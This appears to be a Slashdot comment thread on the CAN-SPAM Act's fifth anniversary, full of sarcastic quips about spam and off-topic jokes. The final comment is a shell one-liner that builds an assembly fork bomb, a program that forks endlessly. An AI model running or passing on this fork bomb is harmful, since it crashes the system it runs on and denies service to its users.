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CAN-SPAM Act Turns 5 Today — What Went Wrong?
alphadogg writes "Five years ago, the US tech industry, politicians, and Internet users were wringing their hands over the escalating problem of spam. This prompted Congress to pass a landmark anti-spam bill known as the CAN-SPAM Act in December 2003. Fast forward five years. The number of spam messages sent over the Internet every day has grown more than 10-fold, topping 164 billion worldwide in August 2008. Almost 97% of all e-mails are spam, costing US ISPs and corporations an estimated $42 billion a year. What went wrong here?"
Look at the name of the law. Working as designed.
Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
You mean you guys have still been getting spam?
What signature defines me as a person?
Why am I not surprised. Ironic, kind of like the war on drugs. The stoners are winning.
To summarize the summary of the summary: people are a problem. - Douglas Adams
But the spammer is just a business man trying to make money. However the 6 year old is an evil communist terrorist trying to spread socialist values by stealing music. He deserves nothing less than a good water boarding at Guantanamo Bay.
Thanks for the hint! Now I know why my life of crime has been so slow to take off.
The enemies of Democracy are
Wooo! Cuba has the best wakeboarding!
I like to place meaningful quotes in my sig, so people will know that I know what meaningful quotes are.
You don't see too many terrorists there. QED.
THL phish sticks
I would really like to see (preferably from a safe distance) that approach tried in a large city, but only because years of action films have desensetised me to violence and I think it would be hilarious.
The murder rate will go up by a few hundred percent for a few decades. After that it will drop down. Essentially evolution will select people with good impulse control and self discipline, which in the long run will lead to a more civilised society.
You wouldn't have the charts full of rap, numetal and emo for a start.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;